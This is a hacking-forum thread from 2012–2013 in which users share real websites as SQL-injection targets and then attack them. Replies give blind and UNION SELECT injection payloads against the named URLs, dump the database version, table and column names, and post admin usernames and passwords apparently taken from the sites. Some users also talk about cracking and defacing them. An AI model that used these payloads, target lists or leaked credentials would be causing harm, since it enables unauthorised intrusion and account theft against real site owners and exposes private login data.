

Forum:[Hack Forums](#)

Thread: [{SQLi} 3 Vurnerable Sites{SQLi}](#)

PI?yBoy - June 29, 2012, 11:34 am

Hello,

Here are 3 new vurnerable sites have fun with them!

<http://www.marmoon.com/games.php?id=437>

http://pjsbt.vicp.net/news_view.php?id=106

http://www.marches-walks.co.uk/news_view.php?id=16

Vinster - July 15, 2012, 8:15 am

thanks for this (: injected 1st one so far and unencrypted password :D

ajkaro - July 15, 2012, 9:07 am

(Jun 29, 2012 11:34 AM)JakeZ- Wrote: [\[CITE\]](#)

http://www.marches-walks.co.uk/news_view.php?id=16

version 4.1.19-standard-log

(Jun 29, 2012 11:34 AM)JakeZ- Wrote: [\[CITE\]](#) http://pjsbt.vicp.net/news_view.php?id=106

version 5.0.27-community-nt-log

(Jun 29, 2012 11:34 AM)JakeZ- Wrote: [\[CITE\]](#) <http://www.marmoon.com/games.php?id=437>

version 5.0.51a-24+lenny5-log

Define© - July 15, 2012, 9:46 am

the first one gives me:

Warning: mysql_num_rows(): supplied argument is not a valid MySQL result resource in /home/www/virtual/marmoon.com/htdocs/games.php on line 10

how is it vulnerable?

Th3PonyWizard - July 15, 2012, 12:21 pm

(Jul 15, 2012 09:46 AM)wkdlewy Wrote: [\[CITE\]](#) the first one gives me:

Warning: mysql_num_rows(): supplied argument is not a valid MySQL result resource in /home/www/virtual/marmoon.com/htdocs/games.php on line 10

how is it vulnerable?

Code <http://www.marmoon.com/games.php?id=437> and `substring(version(),1,1)=5--+ //no error`

<http://www.marmoon.com/games.php?id=437> and `substring(version(),1,1)=4--+ //error`

Blind

TheW3bster - July 15, 2012, 12:46 pm

(Jul 15, 2012 12:21 PM)Th3PonyWizard Wrote: [\[CITE\]](#) Code

<http://www.marmoon.com/games.php?id=437> and `substring(version(),1,1)=5--+ //no error`

<http://www.marmoon.com/games.php?id=437> and `substring(version(),1,1)=4--+ //error`

Blind

Well i can ignore that one. I HATE blind injection D:

ajkaro - July 15, 2012, 3:15 pm

(Jul 15, 2012 09:46 AM)wkdlewy Wrote: [\[CITE\]](#) the first one gives me:

Warning: mysql_num_rows(): supplied argument is not a valid MySQL result resource in /home/www/virtual/marmoon.com/htdocs/games.php on line 10

how is it vulnerable?

<http://www.marmoon.com/games.php?id=-437> UNION SELECT
1,2,3,@@version,5,6,7,8,@@version,10,11,@@version,13--

[IMG]<http://www.anonmgur.com/up/431c2fc84d42cca48c1fb620289d5c91.png>[/IMG]

Th3PonyWizard - July 15, 2012, 3:17 pm

(Jul 15, 2012 03:15 PM)ajkaro Wrote: [\[CITE\]](#) <http://www.marmoon.com/games.php?id=-437> UNION
SELECT 1,2,3,@@version,5,6,7,8,@@version,10,11,@@version,13--o-o

My mistake, I had errors checking columns so I thought using union ain't possible here :3

ajkaro - July 15, 2012, 3:25 pm

(Jul 15, 2012 12:46 PM)TheW3bster Wrote: [\[CITE\]](#) Well i can ignore that one. I HATE blind injection
D:

You can use UNION ? I hate blind too ?

partian - July 15, 2012, 3:43 pm

Nice find, if any are defaced surely OP should get some of what little credit for finding the sites,
just saying.

2bone4u - July 15, 2012, 5:47 pm

Here is one to try: <http://www.extremehairdo.co.nz>

pica - July 17, 2012, 4:17 am

Here you go: <http://pastebin.com/Wjape4tC>

Thats marmoon, not hackable...

thunderstrom - February 19, 2013, 4:37 am

Cracking the first one right now Lulz....

Can't Find the Admin page of the first one :(

Have the Username And Pass ^^

kaui - February 19, 2013, 8:27 am

Anyone change the password from first site?

Cant login with admin and asd***..

cyber uryuu - April 1, 2013, 8:15 am

thanks for sharing those sites have a good day

DyM3S71C - September 23, 2013, 3:18 pm

http://pjsbt.vicp.net/news_view.php?id=106

vuln col

4

2nd: 5

version

5.0.27-community-nt-log

db

db_sbt

user

root@localhost

CHARACTER_SETS,
COLLATIONS,
COLLATION_CHARACTER_SET_APPLICABILITY,
COLUMNS,
COLUMN_PRIVILEGES,
KEY_COLUMN_USAGE,
ROUTINES,SCHEMATA,
SCHEMA_PRIVILEGES,
STATISTICS,
TABLES,
TABLE_CONSTRAINTS,
TABLE_PRIVILEGES,
TRIGGERS,
USER_PRIVILEGES,
VIEWS,
admin,
book,
message,
news,
seller,
statistic,
columns_priv,
db,
func,
help_category,
help_keyword,
help_relation,
help_topic,

admin_id,0x3a
admin_user,
admin_pass,
admin_lock,
admin_perm

123456:sbt123,
0000:0000,
kkk:kkk,
zhangbin:zhangbin

Remained - September 24, 2013, 1:08 am

1st website admin's info: admin || @sdfgh99\$

